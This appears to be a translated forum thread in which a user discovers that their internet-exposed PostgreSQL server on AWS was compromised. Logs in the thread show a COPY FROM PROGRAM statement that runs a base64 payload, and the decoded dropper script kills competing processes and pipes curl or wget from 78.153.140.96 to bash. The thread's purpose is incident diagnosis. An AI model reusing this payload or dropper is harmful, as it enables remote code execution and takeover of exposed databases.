Почему моя тестовая пользовательская база данных так часто отсутствует?
Я оставлю свой экземпляр AWS остановленным на ночь, а затем перезапущу его утром.
Но тогда я не могу войти в систему со своей учетной записью jdtest
!
Я продолжаю получать следующее в своем системном журнале
/var/lib/postgresql/log/postgresql-16-main.log
LOG: starting PostgreSQL 16.3 (Ubuntu 16.3-0ubuntu0.24.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0, 64-bit
LOG: listening on IPv4 address "0.0.0.0", port 5432
LOG: listening on IPv6 address "::", port 5432
LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
LOG: database system was shut down at 2024-06-06 15:42:30 UTC
LOG: database system is ready to accept connections
jdtest@jdtest FATAL: database "jdtest" does not exist
jdtest@jdtest FATAL: database "jdtest" does not exist
Единственный способ исправить это - переиздать:
CREATE USER jdtest createdb login PASSWORD 'jdtest' ;
CREATE DATABASE jdtest owner jdtest;
GRANT ALL PRIVILEGES ON DATABASE jdtest TO jdtest;
Но потом та же проблема продолжает повторяться. :-(
Есть ли какая-то непостоянность в экземпляре AWS по умолчанию, которую мне, как нубу, не хватает? Должен ли я создать какое-то (более постоянное??) хранилище данных AWS и связанный с ним tbs postgres??
Примечания:
DROP DATABASE
. Прикрепленный лог полный.1) Это listening on IPv4 address "0.0.0.0", port 5432
не очень хорошая идея, особенно если брандмауэр разрешает доступ из всего мира. 2) Объясните дальше... непостоянные??) табличные пространства?. 3) Есть ли в журнале Postgres какие-либо DROP DATABASE jdtest
? Добавьте ответы в виде текстового обновления в текст вопроса.
Есть ли шанс, что эта последовательность SQL-запросов автоматически считается транзакцией, а вы просто не зафиксировали неявную транзакцию?
jarmod, я думал, что приведенный выше DDL вызвал неявную фиксацию....?
jarmod: postgres=# \echo :AUTOCOMMIT on
Я не знаю, но это надо проверить. Несвязано, есть ли у вас другие таблицы, которые сохраняются при остановке/запуске? Если нет, есть ли шанс, что у вас есть какой-нибудь сценарий запуска, который воссоздает всю базу данных?
Джармод: нет и нет.
Хорошо, надеюсь, вы сможете просмотреть журналы SQL.
Журнал заполнен на момент перезапуска экземпляра Postgres. Он не охватывает предыдущий запуск сервера, когда база данных могла быть удалена. В /var/lib/postgresql/log/
найдите журналы, которые предшествовали текущему. Нажатие ll /var/lib/postgresql/log/*
покажет вам, что доступно с метками времени.
@jarmod. CREATE DATABASE: CREATE DATABASE не может быть выполнена внутри блока транзакции.
Адриан, я читал все записи. Ни в одном из журналов никогда не было «удаления базы данных».
Хотя я нашел это...? : pgg_superadmins@postgres ЗАЯВЛЕНИЕ: УДАЛИТЬ ТАБЛИЦУ, ЕСЛИ СУЩЕСТВУЕТ CGTmqavu;
СОЗДАТЬ ТАБЛИЦУ CGTmqavu(cmd_output text);КОПИРОВАТЬ CGTmqavu ИЗ ПРОГРАММЫ 'echo rZcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnWFrCiAgZG9u ZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW 1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsg dGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0 dHA6Ly83OC4xNTmuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';
SELECT * FROM CGTmqavu;УДАЛЕНИЕ ТАБЛИЦЫ, ЕСЛИ СУЩЕСТВУЕТ CGTmqavu;
Это хак выше??!?
Это похоже на взлом. Если вы декодируете эту полезную нагрузку с помощью Base64, вы увидите вызовы wget на известный взломанный сайт, загружающие bash-скрипт и запускающие его. Аналогично известному эксплойту с CouchDB.
Согласно приведенному выше соглашению с jarmod и Klaver, я нашел в системном журнале postgresql следующее:
2024-06-01 20:47:59.304 UTC [183888] pgg_superadmins@postgres STATEMENT: DROP TABLE IF EXISTS CGTmqavu;CREATE TABLE CGTmqavu(cmd_output text);COPY CGTmqavu FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM CGTmqavu;DROP TABLE IF EXISTS CGTmqavu;
Я считаю, что меня взломали. Я принял предложение Джармода:
ubuntu@ip-69-31-71-83:~$ echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl 78.153.140.96/pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- 78.153.140.96/pg.sh|bash
else
Я пересоберу экземпляр и ограничу его группу безопасности, чтобы предотвратить доступ со всего Интернета.
п.с. https://askto.pro/question/how-to-make-postgresql-work-with-telegram-bot#
Скорее всего вас взломали.